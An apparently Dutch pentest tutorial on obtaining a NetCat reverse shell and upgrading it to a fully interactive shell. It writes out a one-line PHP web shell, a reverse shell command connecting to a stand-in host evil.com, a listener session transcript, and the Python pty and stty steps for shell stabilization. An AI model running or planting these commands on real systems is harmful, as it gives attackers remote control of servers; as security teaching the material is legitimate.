De heilige graal tijdens een pentest is een goedwerkende shell. Wanneer het tijdens een pentest gelukt is om de server over te nemen door commando’s uit te kunnen voeren op het systeem, wordt er door de hacker vaak een verbinding opgezet naar zijn server. Hiervoor wordt vaak NetCat gebruikt. NetCat is een tooltje op Linux systemen dat het mogelijk maakt om andere programma’s via het internet te besturen. Een van de grootste frustraties voor hackers is echter dat de shell die je terug krijgt behoorlijk beperkt is. Deze binary kan afhankelijk van het systeem ook ncat of nc heten.
Hacken met NetCat
Stel, het is een hacker gelukt om een bestand te uploaden, genaamd shell.php:
<?php system($_GET['cmd']);?>
De hacker zet op zijn eigen server (evil.com) een poort open die luistert op poort 4444. Dit doet hij met nc -lvp 4444
. Nu kan
voert hij het commando nc -e /bin/bash evil.com 4444
uit op de gehackte server. De gehackte server zal nu een verbinding opzetten naar de server van de hacker. Dit noemen we een reverse tcp shell.
john@Technetium:~$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [1.2.3.4] port 4444 [tcp/*] accepted (family 2, sport 54490)
whoami
cyberant
^C
john@Technetium:~$ whoami
john
Hierboven staat wat een hacker te zien krijgt. Wanneer de aanvaller per ongeluk CTRL-C intoetst, is hij zijn shell kwijt. Ook werken commando’s waar interactie voor nodig (zoals su) is niet.
Hoe upgrade je een Netcat Shell naar een interactieve shell?
De eerste stap die we kunnen doen om dit te verbeteren is door met Python een interactieve shell te starten. Dit kan met de PTY module van Python, en werkt als volgt:
python -c 'import pty; pty.spawn("/bin/bash")'
Het bovenstaande commando levert een semi-interactieve shell op. Dat wil zeggen dat het mogelijk is om commando’s zoals su
en mysql
, die om een wachtwoord vragen. De shell sluit zichzelf nog steeds af met CTRL-C, en auto completion via TAB werkt ook niet. Met een paar simpele commando’s (en een beetje magie) kunnen we nu naar een volledige shell.
Als we CTRL-Z
uitvoeren wordt de shell naar de achtergrond geplaatst. Vervolgen typen we (in onze lokale terminal):
stty raw -echo
fg
Het bovenstaande zorgt ervoor dat we nu een volledige shell hebben, en alles kunnen wat via SSH bijvoorbeeld ook zou kunnen. Functies zoals tab completion en history werken nu. En VIM via NetCat? Sure!